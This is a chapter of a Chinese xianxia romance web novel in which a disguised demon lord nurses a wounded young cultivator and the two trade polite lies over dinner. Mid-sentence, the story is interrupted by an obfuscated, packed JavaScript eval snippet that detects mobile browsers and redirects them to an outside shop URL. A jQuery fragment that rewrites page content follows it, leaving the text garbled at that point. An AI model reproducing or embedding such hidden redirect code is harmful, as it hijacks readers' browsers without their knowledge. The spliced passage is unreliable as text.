31. 本座演技

作品:《披马魔尊混成奶茶白月光

    谢倾安没想到,那股拉他坠入深眠的蛮力就这样被东风轻易拂开,在讶异之余,双目艰难地睁开。


    是一间陌生的竹屋。


    薄帘素帐,青碧竹几。窗棂打开,熏风有海棠香气,与大病初醒之人回眸相遇。


    我在哪里?


    他扶床撑起身体,不禁头晕目眩,眼前发黑。


    我睡了多久?


    谢倾安闭上眼睛。


    体内的灵力几乎枯竭,好在灵脉仍然尚稳,恢复灵力应当只是时日问题。


    不对。


    一年前玄煞魔头留下的鬼火热毒怎么只剩残余?


    眉头疑惑蹙起,脑子里闪过一些有人为自己灌药擦身的残碎画面,可视线阴暗模糊,看不真切那人的模样,唯记得药气里有一丝略带辛辣的海棠香,还有衣袖若有似乎扫过自己肌.肤的微痒。


    他揉揉发沉的脑袋,转头向窗外看。


    外头已经是春天了。粉霓漫天,竹林飒飒,草木生长的气息钝而温热,惹人不由得深吸几口。


    正对厢房竹窗的是一棵高大茂盛的海棠,翠叶间重重开满粉白。


    海棠花期极短,暖风刮得稍稍多些力气,饱满的花瓣便敢整片凌空旋起。


    花雪之下,手执碧绿酒壶的雪衫姑娘舒展地靠坐在美人榻间,乌发高束成利落马尾,长眉凤眸,容光倾世。她沉浸在山间粉紫霞光中,似是看着眼前美景痴醉不已。


    她是谁?


    谢倾安警觉起来。


    他挣扎站起,轻手轻脚走到门前,宽薄白衫松松垮垮挂在瘦削的身.体上,被风一吹,难免有丝丝凉意泛起。


    正在喝酒赏霞的姑娘似乎没有注意到自己已醒,长腿舒展着换了个更自在的姿势,端起酒坛饮下一口清冽。谢倾安强撑着靠近,在只有十几步的距离时,止步停住。


    傍晚的风乱了方向。从海棠树下吹到他鼻间耳边,繁花清气间,谢倾安闻到了这段时日以来那股熟悉的辛辣棠香。


    所以……


    “仙君,救了我的性命。”


    好熟悉的台词。墨辰也应声回头,凤眸中的醉意慢慢褪去,少年的脸在视线里逐渐清晰。


    谢倾安瘦了许多,宽衫下的身.体薄弱如纸,风一吹险些飞走。长发随意半挽,露出清俊苍白的脸,墨黑的眼眸神采微弱,却带着一抹温柔地盯着自己。春风知趣,撩起一点他领间衣襟,露出锁骨凸出的光洁胸.口。


    酒坛从长指间滑落,“嘭”得一声摔在地上,四分五裂。


    好的,人真的醒了。她深呼吸,反复告诉自己不要害怕,现在的自己好歹是谢倾安的救命恩人,还没走到你死我活那一步。


    墨辰也唇角勾起,语调中的惊喜恰到好处:“仙修醒了?”


    洁白丝履踏过淌了一地的酒液,快步跑来。


    墨辰也在谢倾安面前停住,上下仔细打量一番,一脸如释重负:“我还以为你不会醒了。”


    谢倾安直接交手弯腰,深深行礼:“多谢仙君救命之恩。”


    墨辰也忙伸手去扶,温热长指扶上手臂时,两人的发丝在风中交织,只一瞬,又分开。


    魔尊大人把吹到脸上的一缕乌发拨走,洒脱豁然至极:“仙修大雪夜倒在我家门前,岂有见死不救的道理。”


    救死扶伤的世外仙君形象这就立起来了!


    墨辰也对这套戏路很熟。


    谢倾安环顾四周。竹涛阵阵,青山幽谷,竹院后头向阳空地上有十几个透明纱布做墙的奇怪房子,再往后是种着茂密茶树果林的梯田。另一旁则是宽敞的牛栏马厩,二十辆马车上整齐码放着竹筒。


    “这是哪里?”谢倾安的黑眸里不经意流露出陌生的疑惑。


    墨辰也更加确定他确实不是专门奔着自己的竹院来的。


    “这里是云曦南脉,人迹不多,你们仙修弟子也极少来此地。”她坦然道。


    谢倾安心中还有疑惑,可腹中突然“咕噜”一声快一步出声。


    “呃……”他有些不好意思。


    墨辰也笑了,十分善解人意:“仙修昏睡许久,饿坏了吧。稍坐,我去弄些晚饭。”


    她转身朝厨房走去,一阵锅碗瓢盆轻碰的声音后,便有炊烟袅袅升起。


    大半时辰过去,天色已然青黑,屋内亮起暖黄灯烛。盘盘碟碟摆满竹几,鲜椒兔丁,醋烹乌鱼,油焖春笋,蜂蜜凉瓜,野鸡干笋汤,每一道菜都香味扑鼻,令人食指大动。


    谢倾安更是眼睛都看直了。


    “山间野味粗糙,仙修莫要嫌弃。”墨辰也的袖子挽在手臂处,盛好满满一碗粟米饭递给他。


    “那……在下……”谢倾安尚存一丝理智。


    “不必客气。”墨辰也做出“请”的手势。


    此话一出,谢倾安拿起竹筷开始风卷残云,盘中的菜眨眼见底,一脸俊脸埋到碗里抬不起来。墨辰也预料到他这些日子天天靠药汤稀粥活着会很饿,但亲眼见识到这样的炫饭速度,还是略微有些震惊。


    “我再去炒两个菜。”她自觉放下筷子欲起身。


    “不,不必。”谢倾安嘴里塞得满满当当,努力咽下,“一次不宜吃太多。”


    墨辰也:“……”


    道理是这个道理,不过这位仙修你看看本座的盘子,菜汤都被你拿去泡饭,比丝瓜瓤刷得还要干净。


    她恢复表情管理,贴心地把只剩个底儿的野鸡酸笋汤整盆端到谢倾安面前。


    最后一口鸡汤下肚,谢倾安用帕巾擦擦嘴,神情比自己饿到肚子叫时尴尬百倍。


    “让仙君见笑了。”


    墨辰也摇摇头,端来细长琉璃杯与新出炉的点心放在他面前:“菜合口味便好。仙修正是需要进补的时候,明日想吃什么,可慢慢想来再告诉我。”


    “这是……?”谢仙修从未见过这样的茶汤。


    “青柠金桔茶,加了茉莉花蜜。可助仙君解腻消食。”墨辰也把点心放在他面前,“小院的花开了,做了些玫瑰花饼,尝尝。”


    谢倾安先是拿起热热的焦甜花饼迫不及待咬下一口,玫瑰香气霎时充盈舌尖,回味无穷。又端起琉璃杯一口气喝了半杯,只觉酸甜清冽,口齿留香。


    他热泪盈眶:“世间竟有这等美味,我竟然在吃玫瑰花?”


    “看来还不错,明天可以放心上新。”墨辰也看出他满脸的惊喜,对这样的试吃反馈满意极了。


    茶足饭饱,按流程,两人应该有一次源自初相识的寒暄。


    谢倾安一时不知从何处开口能藏好自己受伤的原因,而墨辰也则在想如何应对才能看自己听起来真的对他一无所知。


    “仙君是一直住在云曦南脉?”良久,谢倾安干巴巴憋出一句。


    “也不是,早些时候路过此地,山中风景极好便住下了。”墨辰也算是说的实话,她为谢倾安添满冰茶,“仙修是云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163762|138801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曦山弟子?”


    来时穿着的是云曦山弟子服,虽然被血迹染得不成样子,但分辨出他是云曦弟子不是难事。


    “嗯。”谢倾安思索片刻便点头承认,自知硬编谎话反而惹人生疑。


    “哦~果然如此。”墨辰也存心要逗他,“仙修既然已醒,我明日便可将你送回门派。想来云曦山是仙门大宗,灵药定比这竹院多得多。”


    谢倾安呼吸一滞,黑眸里闪过一丝稍纵即逝的慌乱,被墨辰也明明白白收于眼底。她随意地用手撑起脑袋,静静地等待他表演。


    “我……我被逐出师门了。”谢倾安打了一记直球。


    有趣。墨辰也诧异之余心中暗笑。


    但她仍然露出吃惊的神色,语无伦次地透出一点担忧:“啊?那我,你……”


    “仙君莫怕,我不是坏人。”谢倾安双手连摆,睁大幼犬一样的黑眸道,“我不小心坏了云曦山的一个很要紧的灵阵,尊主嫌我做事太莽撞,灵力又不长进,罚了一通后,就把我赶出了宗门。”


    很好,不愧是你谢倾安,借口编得如此圆满,和你灵力枯竭都对上了。墨辰也腹诽。


    “仙君呢?是哪个门派的师姐妹?”谢倾安语气真诚随意,问出的话却扎重要害,“在下看护在小院周围的灵诀很是精纯有力。”


    但他实在难以分辨这灵力出自何派。


    墨辰也抬起凤眸直视他的眼睛:“世间孤鬼,哪有什么门派。无依无靠,自然要学些护身的本事。”


    修真界中这样的散修并不少见,况且只是寻常的护身灵诀,仙宗亦有这样的符纸卖给普通百姓,谢倾安不再生疑。


    但是那双琥珀色的凤眸,他有种说不上来的感觉,仿佛在哪里见过:“我和仙君是第一次见面吗?”


    墨辰也后背悄无声息地绷紧:“应该是,不过我自小去过许多地方,若是曾在哪里与仙修有过一面之缘,也算是天意让你倒在我家门前。”


    这下轮到谢倾安冒汗了。


    他直到回避不了说受伤的原因,但自己是因与魔尊勾结杀害天罡阁老阁主而被逐出云曦山,虽是被冤,可世间皆如此认为,再者谎言说多自会露出马脚。


    正在为难纠结之时,对面的人出乎意料地先迈出一步:“仙修现在不想说的事情,我不会问。”


    谢倾安松开宽袖下攥紧的长指,行了一礼:“在下刚刚醒来,脑子乱得很,一时记不起了。”


    切。


    墨辰也心中翻了个白眼儿。


    没人比她更清楚谢倾安是什么脾气秉性,正如那句常言道,知子莫若母。


    她看着自己的“好大儿”:“不过有一事,我私心以为现在有必要问一下。”


    “嗯?”谢倾安又紧张起来。


    墨辰也凤眸清明如雪:“我还不知道仙修叫什么名字呢。”


    谢倾安也勾起唇角:“我姓楚,楚宁悠。”


    “原来是楚仙修,名字真好听。”墨辰也大大方方地相信了他的胡说八道,“你身体尚弱,如果不觉竹院简陋,可在这里休养些时日再走不迟。”


    谢倾安求之不得,谢了又谢。对坐的二人都顺利地达成了自己的目的,竹屋里涌动的暗流沉入水底,篱笆下的蝈蝈都轻松不少。


    “仙君,”墨辰也端着碗盘离开时,谢倾安起身拦住她,“可是,我该怎么称呼仙君呢?”


    墨辰也回头莞尔:“我叫阿然。”